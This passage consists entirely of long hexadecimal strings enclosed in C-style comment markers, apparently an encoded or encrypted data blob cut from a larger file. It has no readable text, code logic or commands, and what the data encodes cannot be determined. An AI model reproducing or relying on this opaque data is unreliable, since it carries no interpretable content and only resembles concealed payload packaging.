ab443104f1b34144f2165a4b86ba5c185333865fa90c780b530bd5183a7c6f9ab3d671e08da5df1b7b2d1d7e6acc4dd1dac24cc7d38fda33757e62220fe8cacf2805f01a604938d3cb1d8d60c8d97322d32c52afaab9c149de82addb0f694110006c5e789ce080f05346107b2d36ed0b73952254e3055123ce72c34671cd5677f62879155e1897a224988cc255f89ef72c509a1907099ca744194e03c785771f50be0c9a5956aa24f55e648c672fe6e66ac2cd19991a45a89a189a510ceb1b9cba67a4dd0bd70461d764fa17a279af97abdf23bb92883275203ea5a7bb565749de7d9e550ff408697a2a66156dbeef6a9d02f754a40d8fe83f214c63be7515b557e8bdd79d2a8059ca3a5ea29130d29a17095af933ec465cafc55904394450ea51fc8253eb707b4e04c106b027775fead02e0f0983e0e27c6542a27ab3804ccb374d946d2f89c770cc0a95bdde5a4b3b69179563ee4b29f682fe8d953b75020cea3bfd79e852361754481feace826ac9f933135465de41ae2b7f5411f3745f41a83a0f6eca69b88c7fbbcd3aafab4c397b0830f4841a19180daa1d185bced23bf97f99ff57b17aad4d7087cbeaf48810277a5f581b2cd*/
/*45674b5c4ff670380af5d2d5553ba5629580e9cb955cda79bcfb961a064981731c3f98ef6743e836965702b0e640c26f5fe6da471af52ce7429cf17dedd3c4daca08dde9cec6499d62ed76acff7b083e999e73e76f412a652285169bd8da798922201cdba49235e42fcb75f2eeb4561e3ef4d1936bfe0a4636f0f7f0a3d85f3c4a6df040a14bb0cc740f42102aad3cf7253498a4f6f770e11e76f336df74ccd0704f81bb1a52177ac3722f9945b4507366088ca7e58a5c5b4a07d22623695e11b795290f27ac1bf8abdef3cda5cebce88a6a00a6dcf87175d77cb4db5729234a56f5bd17bb6aeb8a91e4417070e603c037b57c0a448da9da1e7ebfae802dd16a99d19a4ffe4c15864fd742c6a4dcaa32531260eb71117c528185ec623cd5a06cb3f7118ab34642e4b6f996bc7976f50ff2a1109a29dd48cd46934378d388205e455bf0869ebe852bc96dd1621696bf7b366fb2e7e67e9977757a0abdacbec6cbbaa83045be7ea1432da82026220c3a89e1913dff0e54c6443e5ea9b8cfd9491542f9fefa16a5743b97a4ace8da496f2f55a4c25bb20adc4e8fec23142d171eb3ebdb3efe8911e4df773967fd00063a10997615cdbe73164c4e7c6bd662635a57de8af1aa676525751cbe77b1e06c834ea5e1e1223589e162333cb88f577cdd9af557b5612e4054cf87e9709ad94bfe581ea31be3e837c55fdb6b8cdcd87753c69ff78e1f02a53a90316c0fe2c63eddce9affd8bb3662f574a60e85aa2785303155d1e50d4091c5c82acac27db3ea87cf03b913ec9d3b8c2d99bdb555182ee88574a584a4abeffe96d3b9dc54c31fe5b5cc131c2ff3d6daa38e654d960c322ab3fe5048fe4b18067a666fc7453c3ca05337eef78bf960eb51bdf11caf241bd0335fcdd49dbae5e2161de8085d1d7d2b77716aaf053b25ea71c2ee23b2585c29076d6f3323266912643f6ffd8cf2476ed1022b2eb1b2f90770443e82b8cac577d7f27d9d54325fe627c153cc968d80dc3dda1869499f430e087b65fba648ab9addd3e271e2f11bd209e2706cdd9a29b97d34fe03fd6147473e16cea006331a85659a2d33bcb3233487b7f6030450ee8b67295f49db172d115268ca270d4f60fdcb0e0a361af0c3ae6d9606b0ffa6d10d413fe82dde67315e14c9ed79d46ee6012b40abc06796958bc910b44e50b7cb78b2c22141a1006133d6c069a345e78ba057fa509ad5766c9978eb2d7ef06e25159db1536f7dda6d96a349a001c6d7bf85f6631e3a61359b87280babeccfa8ea0d6a8a7ce40386539ecc324b6e2e4b3f2ecf0d2e9abcd1363ddd782350de3325f7cf79eebb3c28fcb313745cd08ac5349ccc847f39eaaa29b4c1223a2559052779a30fee00a7f9b78bc899e41ae8da63af3c99c60b13ceac6664797799ee747aefe9cdca605a04766307482a7fb9b4193dfe044e725b6a38028f0ef87fbecda63bf1ccece73c17a89348b193ccef6b9bd964d214c6662c4f2e324f2d5634b0b3144c308137d3e94de136cbf4578059cfe1946fffd98df14ccf041b70735993503d58869955843c8d0cd435706b454679da6f6c4667e12bce0650dca361c1dd3b8542fde3d0cc4723a86cea5c4ca0596edc6bc42dfe9e29c0dfa8bbb5bde4cdc35ad83f00bb912527014a127803496f622cdc8a79e72657e596916a4569c6645c250ae60fafe13c43f32e93c6ccd832ae4aac2b7ad00c889c0e9f502e636b66bd4dfeff7db75c5ffc1464c2df051b593bcfc04165c19e2f265e91122a4aceb85996dc31cac40ed8bf02290a13fa73223f3b0a888dba8a4e1dcd13d750a519c0b2c039d37ff867f3b0a62141b9ddca656ba35bdbfb1ec32e97f8c5a726994b7079208ed44760776eeb4fc1feb275e6cd424f9d84737f74590cec43dc236d84c0f4640ec61e2064ccf1ce87efdde3315dc7c11c28463675c3baf4d1481c7506189729a9881b0673e6a7cd26b9846612e4548661f55ffc397449a18e53d28ce5f44a0ff6297a2a3927b8b018d1bdb937f4b692c814e6f8e41f053bd078a56b5d82ddc0f27cb136aeac91a0c483d9d4e45a4fbf9f33698a4470cc376cf55080d83e7e4f72a0a10dfb5c4b0843ca4bd9f2fd598868b208197e3e7b85e0c38679207fe0e68bfeda12b016f7482765742f54d8e66f622eab422b24b8f8fe9fa5d3093b2c3705c16526f9d8209d1de708fcc30182ed3330a68769f04d4e0de3b963d76404d6a3821af8e3436699cfd87972fdcc2f5fde04a523b109201dec66e2ee57301e1268b8825fb0cd20cb1928ecd49832b7be2fe8d4b44df6c91775794bbb73f0e1f33959464d7267c03541981862510c3c0b869ab78f13cc58a9e6efaf489d06c1c8a5addd469ac4315b88c81a0ba89b9534bda28e9e911b9240c5adf0ce9bda37ef534dade10b3b8a9014c205c4af41e4080ea80e5b3470245e63f79b9f09d39eab45981bb9c616b521b358410da8bb72eabe8506780e95fbe2a1f045001e1885dfc1b87ef110465aade8c5c69b3ef64f466825fecc6bf118674d47b4d67b5e00c0eeb4dbc53254ed317de5fc436da14ffa3bed9019667537c4e3af2b34aac736e254d8b024676dacc89f618b35696cb783f702df418173e7c65a41ce30c542cb39f3685488fdf7940e85e4dc7a8a653657243aa19a01dc2f99ca30e425ad4b85ac8bcc6b25ed105250179d53f3dd201f28e9398a00c677216d3aa1fb774d95e08292877c769a60b7b0de5842a2c956b7059cadda7deee0890c9a8f8dc576ab6fd66bfd87399b0b036d7e9b48ea3b147b8b5d358c24cc477edb1f2c964d92ae2e149d*/
/*cb6d65395f1537bdad1537539aa9cff22cac882cfc17575b6867f5502f6718e769dd9426acd6034b8f82347f123514dbe14e97b42f4b47dab7bf1594d8ed55130cb2beb3759193f425dc7aed90c7f0792e3d5d7b962d50872fc48a92d0d2298af414b395bd31c154aa561a64f30b593258234fb05777b7fa189e6a14229af6ec277827b62fcecea749205da882812cacdf2d9035f28dac27ffa675e953f98db6bffdfb05ecb75aad0fc9b0f5f3864998fe19797304bd2ae2a765edb7e5669bb4f9a42e7b8539fd5b393f2fabcc73b3f26b7111f8561b1cf0da2de3a60deb38a14e136515fe28981634efe8b6c871ed8e4c714d7746b5e3ff0311b0cb6d03380e3a3be99fd9c3e56546ff7ec27265fcb60a4ca30d362811b4bcb6a24e7e73d968a08623a36dd3ff1f8f96b674d1832502571ad4239ea898e055716c6d961e5da58d526c89e36083f80cd7e50d10666fd577c00226307be76c750a37ddce1d618aee092dac72625887eeb6bf163c4e00c62c5c1168e6a61e18f7bf1389e6c99c387685cbde25490dc5d2ec51df7b99725739cab70fdee54ea8366c796becf89e8b8b0d61f816f9723a8da0e0056410c10a84384784a59ea24d409bd44ffe3264060c16c5c7514df4c158e86d4821f22c646bc80587eddb98631b0aa14cc5ac986a53e40fad457d876996db900b82c99962513d06fe8b8adb13fbc8ccc1a466460bb8d724126cd4df8a8992e34a113779cba1f238bbbf6af405ccbf850e704bfb82ef4f117acd4fbcb7178f0bfd366f3a85578078cd0e6d8021a1ab60c08c401dd0a15cf3451fe06f2587d8a2c0062aea0ee72240d458fbb19837ef9995112857812a5f78cf69c50490ec4f0de0e091361e3812db5188348d9a01c037babbb668112fdad00ffe4684a07ce1b417a21706a9338bef9eb599709ff2d593f54200457d30d9be05e49dee0eeac47a3b44b9f9649e52138e707345b384925b9269abf8c6abb32c244189f29c7681b67d77aafcad82ba60072ac5183490a58d335f8b86e42883b3b3056a3812c008a8661e048c5423ab5f64f6c035bfdd06c4d19e620c3b13c06ebbc2531d58d50ea5e82dadaa13312f848be34c6f3cff5a9c46ad7d258c9ccc4e98f4e910259706e6490676bce1d75bec2aed332b5b1c032b65bbed3bd8eb9d41fcf095c805809933933b9582f79a90459c4d8ac194200ece4c9671934e758a038e89b3543d15944f1ab7891f333caf5208da8b28422a86d98d58374f5201ad0255aa15121b486cb14483fb5f0a896d1a435bf8a34a2a48cde3adfd307ae272060aa0906e978e6b63a4267361c546247294db847d398c8d15de85d9cf5f35d40ae0e751cc675fe07780e99c96218460a4c4a52938ee2b6e823acee89a15ac29c2113420d21e3c33537be611e2030f943377e4bd8f6e73a2d0cb3f99070b2654ff955981e47e2081aedf0574aa3ee69bcb4f8a6b0466c65ebffce7411cafc3f790c57f68b5b189212e68f000765c4b64a642733445736d2747c89300885aef5570c73b357d562ef96f89fefea13d1b012f25e7de436df9749aae19194c8eb7f3ca925bf6be7e1e316271e80f57bcbd2f6f0c35a43f538751e271a690d5ed3bbefeac34af83650c275b241acbb265e53e3a6b68a211d5db0c1dcc9c85502576ffa5ec2607a449c6f8192e3251b1e80630ea8728ceaba01df119031b6ecd0b5941be2834f28924eb10f286dedd03b619b5a37319262a0a77a9c032876899bb46e949c304cc1b190c78ba0afc256cc8672f3493cca73eb9145b40ef507af362931132271e27e3b6dfed08d4e855c317ba23db7b36ec4b1452ccdf5799406322f4449a8e72a6d23dbd72afe26c6225d0aa0bcf1b20457128808b32852f1a9fe71a4b1cd15c1778de72b906a48319302b4abc5d16bc13dccd0477e6d74199784ab5ce2ba6ab68f6e56ca7a44c3911b08a3e158fd6e7656b49d5226fc8ee409c018a1ff3cd1f61981f6c158316435bbc2efdf17969b562ab10230d58c12fdcf15d99616f43c9da8679d5d2a554c6006f77d4a36c592b41f792b4180eea265da754d22cfb7bf4d67728947e0ae8fb1d3ad9fdc10de4d6267bb7ad43e589b231fe89d30dd91d598960d4fefa4c5aad23c91d62b4e19c51272e2583fd157f860ba91612c2410c4d7cc497064084400c73a4fa8933ab56765ef98ee7049faf489f574e00b1c2bf03ad26ff1f38835f83862dfb53f72b41bc3cb45c45c852ef63299a3158a26d35bab543b79d66a6ec4eb615fadbb07abea08bd46cd4c20f7083ccb6dad9c38c39fcbac63687634dfbee99778ad8d715eaa49a2efb7b32d735c2d9361b0c14d6ff26334a53e47c66b057e5d61947b54f8c6eea10dd035fda9ece4399edb43dfa35bff5113b5dff75306c3e697254b2458607498fb92ccd14d9ff43f3f9baac5ba0f71ccf04213bf69df2399b89637115b7d75a8fc691ad4482f7df9e032874712d93a754ae3d3e414aaac6ebdbfc16a2b1b21a4cfefd992547884d45bdb867e5339b4a3980221a391f4d2636d81f3e7e0ab81015b0f44791ecb96b5503de01fd9e75c5748ee8555fafbbb32132ca015a55dfe67eda3481e175cac63ddc5486daa2d1670e4205e6070721dda9cad041ff4628429b77ca0cc0824da2260004961465078450538b1d503ac8d0b94a6432bd79d294cf1dd4df83437a4b37e85a19ccd34a32ddf0537f955932ee6ea0ea0bfe9566a8d68acee88d7e30b2453562daf227871a1eb21d1ba83acbd96ba1ae4ccbc45716e98552e3e1bbd39cf525a4c47c0fb87fb9b36c60a9785d9eb437*/
/*65f239bd06c17bdae3022cde17df0dff0fd2192941bc8d3fd541c7070805157e789b05f1f3deb6c69cd4d2ddcf703bb8bb31d1ce637616615a7b5a87fe2b7df7e5a9277cca600857806cbc21313ffbbf56e8992d953203a6d345731562b8bc75d0e8da204cd7941bed2023fe9a8fdf47f7d6584e527f6c15c83e7ac3e1dec139010f4aba83f9b172d04a4da6e9e8c12933e50e752f23a8db873550ef5746c0d271052be120b7e815df677f6433c570cbbf3c3719321c237b07b997ec079a9af11e90804c1bd55b6901ab80c2c16b3c1bf290695ca073785fece88674d66d54bad98541cbd3b6da6e23e079c4c25efe27a62143552c488948445a76efe6a0d0c29d3a81445af5cd956ed2dd3cf02607d17866cab78884d66537d7bf6f1822cfdf17742d3f8f9145092ec6056afe49f10d8c3bec581f7abb7f2e71ab6292617f576aba1047a71e827b29a6b6f117840414d68d794ba9fff1d228f9b6fa942f4e484ee23e1bc024dbb5efd6da31f40756f077ba5d59093520a06a38e1b1c43e8c1b7a20cb20f08c2e391c277dd07627d8735c64c3d6c0b64f2f2c14721a7078757a97cf83feb70285d85809f10ec5747a7dad9e2be131f24cd5f9347f35b577b00294934876b6913bcaca03a73bca47c4ea59cc31bcfcffa77c764a3e89d900fcdb6fb96d1991dc04edfa4d7ce089549988df6e8fb674b035a9343996a08bdd3ae2392b2777d26eb6191200126dbddb1787decdb532fa12a0107eb8a617cb991fabf5124fe08fad65412b611c62feb5847dac0d810216938d13a2923fec12554166872fdd9d03b8ebe9149fb4a9cc8f52cadde2d69ade3c937ddbd128167e5969890284201ec89a24ddb61f51941e96bced7e4c07a898e9c9ad00885d35e3d79a33c29c47b8bd9135079f633fda608b1650d8e416754771bf15c9d34e5d84adce9cfbc501be3a07e84e4e851db0f488f7e52dc43b8e2b2ccf8868231a897006e6bfcc15d75fea6bce0605ebe719503cb4a43d1a3b6c11aa057fb069e5f58d50d65f5e37ff2772418d2976fc8a535c00e0cd9429c823966302b838f8c6e7fd8d27eab60f5d931084c9ad3a3401f9f995eb012aee781594004ae73c0d8c6ff972efbc086529951861cf23e2085f226e03613f2f98dc47ef8e9fb5f4d1531a6171edcb7ca3c75665f86347763c4afbaec82815f54da2c591ebaaf016d9b6f97b02d329af295362437a8a8ffcab2e7d9c843b4f629a3531ba9b3ba60af045064bd19f153d2ecdbde2eb99ab0e562b0ee2e24b9c8bed0249c56fb4cf11a094555e7cf7d7c7d24575053dd32f3ffcedfa1cb939af1a66f1a3cc7dd02d0a4a5ee05671a6ea7f97fdba5c0a9e7639a158764d7b5ad5bdb2438eeda92f93c27202aa46713121ffee2de1e86d1f22b68083963b3f007bb3b7a574ac720e4de593388295499a19c5ddabe266cd0595a275f7ef9cb39b8c69d91c7096558198ff4f9e29020ea08014a1a865e304e3a0af4cef3e818215c25ff3e8a104cde34b9cc1c9efa80f0f4672fe8ab7053b4afde175d51e7468fceb1fa50f3775daae988746c0334d2816d5eddb650a8866cf3768cfe60ec030a37cb0a0566f3adac63cb02e88d531691a0c06b7c66e94173483229be55652ac73bdcf746f0e56566cd9846a3cb9d6c1d934a93a874382be3fee070a690a42f3711d54257e025c88af41ec55512f5431cf4293d258b57943b068718975a1e5076fae0a220430476851ed70b0e935197296cffbc0dc75247c1ef97acae3119d85d9aef2e3302e427e40010fdad1683d2d7f1303167675ff2dc9b067b26e0b94e9c246209ef2fd0551d1dc1be5879ba71b8f85619269e5a906ba893d870ddaac50ebb72fedb80e9d5940f5c2f43d4933c527b91d111ad9f5e90dadb01b7642181383527b3346f2e64233ff49ddc9652734548ebcce7b4fb32f9fd2a1344e3f881d013d95ba3d32e7a40560f5f10ee2d8a8984d1f3d32659a910de28bc7b019c969112e0da732d2dc36bb9ec3c6afb75b188eaa8cb553ec04bb09aaad0275bcd98779b3820a508fadf0ca972c47343427975f397438882906ed28e0c2577f60d4bf20459931dd4c9a41ee404aa759bc5415fefca4a1e2cb1a6bf148983a8bab439115091c252097a8cb085607d1f700e1b62832d7f7b72856c5379f4f49a00b1c9aad54680a737c1fc19f9d262ec6682abc1f28a84f9d42d9fa96b3696e9a8f3898c9a5e6d49d05459cdee2622e9d6f9fdb838a30f04e1783808830c874a38d99580fd7d59a3b1fb25c40f69525f4e1679304c163546ecae929a2b23d4009c27ee0be766d7a2559894a4b99506a186e6401996700bf2e5a65115bad21d1e63b72cafddfb4c13f9fb9ba0e630228a69e24ddb25757946cf455c9b3edfaf5898c4ed637a18919a72c7e8f2e35aa11cacf055d66125a2c3ee5db693526c854ff39f1fe180ba2aa888cea9369c4cb6e9efe881ee0cd59be975161c642afef3dfac21b13c485a35d13e4d350c25eadb3a6d29521f43b83ba9e4bec65355a7f70e096598c9d094aa7ffcd1b29f9bef257743c2a00c86e893000ecc8dd9eef4ee925539b0a2f8114c2a7f28520a7252d384dcc0a8428fa365e1dd86a9bcd4ce4011b9d30d9e463a769ef268f1fc5ab0ec9ec2ffbf60bdf3cfc7b74d368541b5f865bec9c8e99ed854e6d1be54e330d227971e596f6412844822e9baff416a9845c912a48ba5959a560daa8229bf8e29c8c0ff9640f1b37c1ad83b70206c39f06213a204e50730091e4d7052451dea8a5f4430f024412e9bf8df39e6947072bb39982f3d34d14e0*/
/*402183bfd6800ae5a55300d81867fd4b83a8e33e70645efa9817607772518032ae9233c73f4da979a8a6612f7d829e4d432e78b55084d238e436be76b2d93a47f584bf432868073369c11eca82c1506b229e06e11002f5dff117533894d26b5066f8762efce4a0e34b02a679596173e077d3069d88e08c53c208f151a68c1f54e1454b1733ffe32e2cd3ee9a6f1853c2340ba79100611bb859067b55aa3bcd4a4355bd64c1c71dce40dacc3cca0ec1a69e8109ac017e767f041b0dc18b6ef2fc6982497ebb20e516207f1967268f6b3a8a8e00660895dee667b2b3a5d37e7a383beb4ff4a4cdb4e0a23d50225e54935b54246429148fdf3f3fca30a0e69009106ed32167cf4b99b57f6b34a0ac3589b12c5c3c417f36cc85c5a88a2dfd3c1dfc9ec3646828b7bba37164a4bdd604bb356b2336575a0f932c72b14ad46b954c16c22d62078429faff5cae594a316a13373ece4850362d3afe3876c71780ce34d14642143055f40644ea8a6c4a149d9c6dc3c6a6ad4335a904420f64921331d7263161fa58f77b20275182ff1b4dee0ea9a7ea13d242a6857057a7e47b2b82b40158f2e414f14c25396a2d693b277c63a18cef4a06fe101045ca9c6d67377f309c3e91545d8f20cbb838bd8e208adee623d09707524cbdb74b2e46f794287514b6fd919c2b5e5c35c9b1ab9abfe7ac61c460736e22820e43e11d123bd7c273e06f7eafed385192e560359683e324b70ba92cb661038629528fe0c5f7271cf429e42f0361d26c84ebe9d1aa401595f2d51b8c7318596f72ff45d4dc29627d34d2e4310888a11f0f6368b20acf23afdf834aaddd3178061ee60211874fbb4fbaadbeeb45591c55ad810436a3ba904db51f1180d5ff52aafd5efd4fde2df18c086c3c8016e12d4ef532fb12994d36e9a84ce00b8a90af6c51cbe1cbf3551437be03edca51690cc02a0294d272f9d0a1ead678154bce9f529acd4a67210c464fe94f5adc8b471bdf4667ee78d0d04522cc9e79a91bb83927d8058aeaef3be05f499cd27257ecce3b293edbc07907a8a148c3699a73ed8673b95799bdfb19c75b7fb903f80a8f400657df477fd39720855178244e1b1d7be6568e1bcf3e665a65e133c0cafacb7588f716b20f489b907203a28338754e2eb0aac0ff00149c76e3cb73c03d9d72599acd973e3e3f1e460220a87704dc52bc2fed485379fb95c403602b234d8f0798977b09792c2493f84e0b1d11add102f547006808dfe1ad6cff2c8e1a7fd92cd02e95b30073c18d35f45241cf2b142232d9c22cd0da6ad50055f45da1fa88118163f7efe50a8623e5a36ebe51183776e9f540d9848d5062793de5da01361cbdd07116d35ed22d38abfc6981d6407f35f8db75fdc7096a9269a63079850f0363c4ecf4d15ef05b97e3d136f3c8140c2df5190623e4c432b7393dee5ba416325ed0a93d6e474a087587d18dd38b3aa2e666930d3d91ae3ce80b9cdc4de34d626b0ca290f77ce6bd93e23f0b74d4deba056c1e428689218d2f8869fa194a4f242538cf8a3234c5df7b6eb5e414ead8e7d510a0392dfcadfac3e0b4292771098148024b4625626a2c8827482eb39e66027344462e857075d6054ecb37ff54dc04d04a8b1495b073ef5ea4399fef47e1330d75f73f94b5605f8eecf0f8f534ed2c3782dfcd4ffee56b00662d927c0f05b2a72a66eeedd6e45b487e1e30bdda0bf6dae191defc7a0b7a07d411781609857027c0c6b1e56ce74bb71367457ce05e5acd282146549611fa7a0b649aae474ddb5644491d15beab984cb8aeb8081a69af3214854acd1eb96867d3aaa262df13a58d5d9fe87775ce020d9e816c8b2e524ef8e30c72c510d223558382424c8536db82e1286240fef291b20f2a32fc1e3ce03b83155b23633dbe73409a824fb993a1cd918f691f1c98bb15042cd39830314fb2a1e71ee7ad058f352756e99d1f64f924ccfa918f4643a40b24643ddc07cef4a75de1e58d8f65102e6dae8e683f665e2ad12ce1e980e9db882671a7a140739fa42d9bf25d45e825c038272c9f2422d69ec898fd636ef74de226b6ca6736c98f912be85fa71b0e148621749fda5a43ee75375f0caf6fb413ddd1f24fa037a0458f5e6480b741744c2c2e59f4187215610e3bccf386b70d7028a6995316ddc08ab49b08d502e99712de0e3dff2f4242f105d257ac5a221189bd1e02aaadf4d07ec51f179d88ab0cc68917b855d6c10b4b6379a65326259b7fc74380ee4cd3a56912e17e1194086709577ca1cfeca3f11ce085469f7d443a92b9824e9cfdd65523a1dcf24a0abcbd2e4c4cf48eb29d45a29ec5f28e374bbaf421c84a21c9e09321f521b138e8da5283edb66388575db16a7336235ebe31add9b7a97d53286121a80d3d9082a2bfb9e833e60d1c9bc4b05d4847c5b4dcaa72176ff78c50cfaf0d0362613bd59a23531fa1e6f924f50e9de4ff44988426d8f73cc75440873c2fadd1ca4bcf525574f432c27acd7bd51d9ef23c8b9101dc781979b2bc78f852e94233ac98cbabc82bb97f7e9ffe7026ec5a2b8c130684cd0ae44d0c53b4d6656d76576d8940b803450d7f25053e8179b9ecac018de7e45a74c9e2da83af6c36a37cb4ef2b61a65676b0dd0faa978a6086ff6344b4f8e4acf69db52546902292f666ea289f3632f1714b674cfa078ed249d80c036bf3089c59ec18b7fd7936a19e06f128d006a483b4984fc312b98f0473dbbe01f18f8b9798e9ae43291e1c3dc317b26559600395f179ad6e175b9c91126ace02693aae195dda4b6fcd5fd4339d7a41442b3937cabcff7b24bd2d4ba67c*/
/*e4c3d3c0c4bfcb05f23f8baa23d13787a25638379776d96c1be855af3d7c358f87f6d51e09724a56d57548d085394a0ca4b2ea476ff639a5601bfb3104f64ae727e22557495993040b161d5b0b87c9ace1530ad1595e3fc6065936676c71c864f3848e4e257a4567265d0976258782e583530d1c6d8da203779e3e80b7e3ba15d37d8ec8b5e63c75a3d55432b36ea39417b7309336a8760fa787c572703cfd3494b9c98de7881ae1034e299cda4dbf28d0f879dda3aecdd01e27efde7b0a52fca1aa13c1e45e47598277e7e7fa3036e90af49f813384534f977f4f352983dae63d6d652cc5740017755fed0831af2c156655a6503ae1a28c15230583e3b5f128f3474c9de1b68f1510bd36951ab63c0af0703fc575a35e8fff47e444728f4d9b17060feb8dcb31040d7b32b0377d1f265ca399ca8fb7ff188432526da6e2bf429c920fc41edf434fad7774627a0d9e8b966358438e073cc124e631056c302665e1c9760d4e6d71f24511b3b474462a7af4a758ecb7a7919c9f5007d3179f73f50bad45b4680ceecd3c53b182397ecaac63dd7b205c37baa0794070b0275ba65e75dac933516fb63826e379b9c27ee2a588723bcdc0730309cb80d63473013401680f1dbd7a49033e2130bf2dd6b5d10d0d6e474d35e048589b5174a87ac0ceb2bbb550f9bd894708af7037858587d2cbac921d2f71616a803d49b7a8b7c8843d526e94a8cb6f379ad169e3b70574bae3321f0b356f1328d05a75f1f3e2edd3042e7b2abb6abd9fabdb6cf2c5131c8453589640ef8ee1dc1eb3c0afb0fd607e305b219e7dbed39e6332b86b1151a361c5c51332e0922cc55b5161d00cb8c94b0574916c3f0ad17c38b98b840c18ebfb1b734d8fd41ad1275ca221c8e3efb24419b22a930a299866b142b4314d52bf1b8c961c4ee4bd4d244fcc0d535ce9a779bcde6274df4ba2985bd3687118b575968e32e8a5f634df7dae77944599c31d82f8aac3aecc077e351e66326d7ae0779a8b0c6259d56ebac9df88d5d53e205d62fa5ad20200c16b60ebb7759d2aa539840529059d89b4394fa1696e40ef23e19a49f21d9ce821ba9e2e85cf16ce1966f4b0421ac1fda25fc529d89cd4b74568d98ad2e437d051cfbe25d5f7f147bd9ee83da1a143f04beae1a84cfe5b3635a566a21b967f81be0085e1086010670e9be4a3cc89214db500c4a30c95b136e35eced216b26acdf342788e2faf5f47df539cbe6394498154d4fce9c5294b1d9878287ecf61ccb27d02e49b318431ce1756683a966a0765ef9bb4dcdbe520266c9e4b1806179cdbf0bda76f941d6b3c016af0b481473066fc93509cd0d9f47d49de2e041273213d8c174c6ff1cb7e14fae26f4354fb36069f27f263e63c459669c120fdf0e345f2543298ebcdb4fd718ee0b803da5bfa5a8d4f501ab55018af11842703dd7dc9bde56c8507c7f164860de1c954452d008c8ba45f8c97961c6979ea091c74b51aa04a0c7ed386e4ab76da598e698abf46825261bd21f747f994b9e85de23071ee501deccd44e5b9d16f230f4532df528c4fe822dee3093ce34bd5d39e90e14f990666dd661e0b7e45714839dc0d5cbb6879b0b9e0a058a5e4e8e2f385a92aa3b2f49bff2fbe814ddab403f8a1413a758e95cbd35e91e801356748263aed69ca7f7bfacd63d0886e72c8ecd74c3fa133760a5817867b7d16a17af3e2b847959e918bfb8ee07244abdc91de59868915c79069edf32d63f90f01cbcd1bcbb86dfd3e7d417ea81ca48090663512514835bc4970fbece60d52ee824d5d970ac321ccd736bdefc8cf6912ca25e216f735663ba277fb2b5136062367b9a9d739dbc2b6c95bd669a66d6ffa60ef0e0b508159bec75c2a448bacb76e7ba1e6e1a3334ba6e9e05d5fdb34859311ab13c44ae64bc7da0cf9fd6c876d4d9dfa92f595f5d4b33228fbdd14563bfd33ea1fffa466c66f984aaeef648f15bb4d3c8bb31b63b33b79a8aaaf047b358c1112c6b139c14734d59f4f3dc3f7f3734a9ddba14ed7af0f86de6ce87ce67e1a9f481f1b9ce218d01771bbfa7d42f2d339fef812a0a92b421c14f86855c7ef7d0af0a2341276a6963825ba012f003014a5f82abc044ba38f720abe5c1312045be58eb919ddb186772bace2be32eacf8b907dff704882f60c7a8b426e8c3492be79006f6b7a31bd3a59b53aabb8885491fda99865eda9bd859f58faa783d45e93b457378c605600ce1fb89541d2fdb7242c71b2fd9816b816ba8523d0b7aa8498214a1257ad9139eda3fd7fec515cbb1c695333a3ef0ebb7708e9d099ef06c267cb3e73f38aa621ac3260ce3dbe5ed413bcd54aecfcbd1fcd0559b8458d5aaaebdcf5528983147e75379dafb80f1da4e4eb7de0367f5b39ddae7c8f2f859f8bd9384fb493f4878a020dbc5b25b76b5dca87b6e400ffadc34149378642c5e223c9b5ba4c0d5fd7987198f881b32c0b56500033dd80c18243c71b5ddc24d3ff5932bd02a5068c7930cf660a18db278162767e0535500dae4373eb93a6092103cd607c4076bade9c65fb82f9a29d3fd9476a5bded9dec6f1f50014438931b18d6677d59f6ace2ff747a11a2fe5978f637d5a68354157ef44ce257acab8b386e78459b3e375fa134122ff12ad9a3e57fefd9e95a9ea2ac680444e594a4c64277b16f33bb94b5672d79448980da04c453cd2469a84fc06b2c54c85a3df8aa41c98b0a50f402a1bf745961ed282e8ed0406c9e8ee39cb5707ff5fe01fddeb57ee2a1d6255a9910d5301fee07f1faf4794db0c427c1c3a0c9edafe0c57401ab0048364fb903dd8798524*/
/*004512bc706a40d0c3fcb67c92999efff43db607103801783b2ae035d938a9b300b8f3f51367fb9c32ba82319f1d312d03b8b393364b668a232d4d08d4d0e564c7bfb829eb59f8ef5c8a3be625f5e112788a8b93433e90fe93e0408cb2525eaa9ed201adfd3c33ed5859d92f44f4f6ecef8cfd1affe6c18b7254044edc5a05c261a86218a3c5e58075401a4994f356d5a8e34bb2fe73a98ace76b66f5771ab5c6fd05a5b75a606e3446461fda6fc1f3e6ce4f822b5f45b289a8fa0585fd09c6e49db6b03bf6f8e6ec5549ebab4d8359d627d47e5cf4f33e46c9da9e2bc55b434284565f3b9d0f5d1ee9a3b42adfe25f038e7da5df3ef622baccc952b7085360fdb2514ecd1215b76df5d45e9152bcb34cb43b6656f6c57fbdbdee00e93d69d551facaba64c52c02813148bbd471decba86fc20567f3341b21791564ae734711722432b3bdd176eccf33a07eb446c55be874d692017d338308692e56c4d8f8d297ce0593a3d1d59b3f684172b54be07b0647891ba433fb10a21b14961be44e999a78968a403bc822f48af3ec3dccf04f8cf95548f700e9106754d0b6b79fe4c9ae4902f5dc1fb1ce80e7aa803153dddbab55bd34d385cba996b0db05dcf5bd992a11ed126559b9c89df133b47e9570ad139c0b41bcf4dc82a51d62d957ce4e08c0fa267e37532cb416413b490792e802a1b6ad6c552d4fb3cbdfefa686ab2c3e2534be0da93b3ae5dbeeadd512b570b7a5a57bbb511dd490daa305806b32cff01f018a7045ae8271075e330c48bdd03f5d382e0a9b14db97221afc93904edc3ae35078e1faa241f0b794c17cb6bfa458704b399f98eea9303d095677cf70e6d132cc48899cb77adeff39d95bfd60d7444f6e2d0c0cc1309057d9433516dda332a9dcac130bb805ddc6e5a3e376a0fd0e64ced884ee58de182259a35d19829638d54bdad4e1685250293d35c89cb6217051128b1978a7d9d34de3e68bb576d3e71b6a59d6a2dcdc607196e8cd514b6083e58dea6bb170df1fb4faeabe30c315b64917a6c89d6b19663734442ddc9e711cf11d8f13a385513f310f7207b131a66ac44d87ea2fea5096f106b4c77b5efc40e65a6152dda3955fe64f19b0823ad9aeb4bf106aa24806ce34486b1fd4908cf7bb8ab654315af305212a126ce78a1a8315998e25ca6029df2c1365bcb924b3c45f6cbacde46355caa0d3e84a1e98f759cc3605efc500276c1cef01dd201c3b616df5a053522271d038d2e9200b7172ca3a9608adce2037876cf8b251a95c221b57a7de43daa64110476d5717bac94cf42ca1aa40f1aef18c6e20835bee411e1232b4d843bb8b0855770c401b50d23bfd2e257eb1eb67fabf1594a02bf8af8fcf503108dba2ad211061e2dac114d40a6ca2b41c7a83a83ab10763179ca135fb5a61b3e6233859979305c0d4c49fe4a373b0075965d89ec28512f78ae715c91ae28a0339ef042ccf413d7c900a971d0a314d77c58ed88bb3c5f3d906f0d50c8936e38983fe0fe589e934